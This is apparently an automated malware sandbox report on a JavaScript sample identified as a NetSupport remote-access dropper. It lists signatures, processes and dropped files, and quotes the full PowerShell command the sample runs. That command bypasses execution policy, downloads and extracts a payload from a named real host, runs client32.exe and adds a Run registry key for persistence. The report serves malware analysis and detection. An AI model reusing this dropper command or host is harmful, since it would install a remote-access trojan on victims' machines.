Analysis
- max time kernel
143s - max time network
149s - platform
windows10-2004_x64 - resource
win10v2004-20230703-en - resource tags
- submitted
29/08/2023, 08:16
General
- Target 631563156315.js
- Size 3KB
- Sample230829-j55jcaba28
- SHA256 6f937e831d5145b60cacf8ab1b632c41c0f3c89bf10e427f6e5c84cf26ca7de3
Malware Config
Extracted
-
ps1
-
ps1.dropper
http://instalfrio.cl/destination.txt
-
exe.dropper
http://instalfrio.cl/destination.txt
Signatures
- NetSupport
NetSupport is a remote access tool sold as a legitimate system administration software.
- Blocklisted process makes network request 1 IoCs
- Executes dropped EXE 1 IoCs
- Loads dropped DLL 5 IoCs
- Adds Run key to start application 2 TTPs 1 IoCs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Suspicious behavior: EnumeratesProcesses 2 IoCs
- Suspicious use of AdjustPrivilegeToken 2 IoCs
- Suspicious use of FindShellTrayWindow 1 IoCs
- Suspicious use of WriteProcessMemory 5 IoCs
Processes
-
C:\Windows\system32\wscript.exewscript.exe C:\Users\Admin\AppData\Local\Temp\631563156315.js1⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Ex Bypass -NoP -C "$u='http://instalfrio.cl/destination.txt';$6=(New-Object System.Net.WebClient).DownloadString($u);$a=[System.Convert]::FromBase64String($6);$d=[System.Environment]::GetFolderPath('ApplicationData')+'\D';if (!(Test-Path $d -PathType Container)) { New-Item -Path $d -ItemType Directory };$p=Join-Path $d 'p.zip';[System.IO.File]::WriteAllBytes($p,$a);try { Add-Type -A System.IO.Compression.FileSystem; [System.IO.Compression.ZipFile]::ExtractToDirectory($p,$d)} catch { Write-Host 'Failed: ' + $_; exit};$e=Join-Path $d 'client32.exe';if (Test-Path $e -PathType Leaf) { Start-Process -FilePath $e} else { Write-Host 'No exe.'};$s=$d+'\client32.exe';$k='HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run';$v='X';$t='String';New-ItemProperty -Path $k -Name $v -Value $s -PropertyType $t;"2⤵
- Blocklisted process makes network request
- Adds Run key to start application
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Roaming\D\client32.exe"C:\Users\Admin\AppData\Roaming\D\client32.exe"3⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
-
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
__PSScriptPolicyTest_psxyxrsu.xij.ps1
HTCTL32.DLL
HTCTL32.DLL
MSVCR100.dll
NSM.LIC
PCICHEK.DLL
PCICL32.dll
client32.exe
client32.exe
client32.exe
client32.ini
msvcr100.dll
pcicapi.dll
pcicapi.dll
pcichek.dll
pcicl32.dll
memory/3872-61-0x00007FFC2AFB0000-0x00007FFC2BA71000-memory.dmp
memory/3872-16-0x000001AF2DB60000-0x000001AF2DB72000-memory.dmp
memory/3872-15-0x000001AF2DB30000-0x000001AF2DB3A000-memory.dmp
memory/3872-0-0x000001AF2D990000-0x000001AF2D9B2000-memory.dmp
memory/3872-11-0x000001AF2DA00000-0x000001AF2DA10000-memory.dmp
memory/3872-13-0x000001AF2DA00000-0x000001AF2DA10000-memory.dmp
memory/3872-12-0x000001AF2DA00000-0x000001AF2DA10000-memory.dmp
memory/3872-10-0x00007FFC2AFB0000-0x00007FFC2BA71000-memory.dmp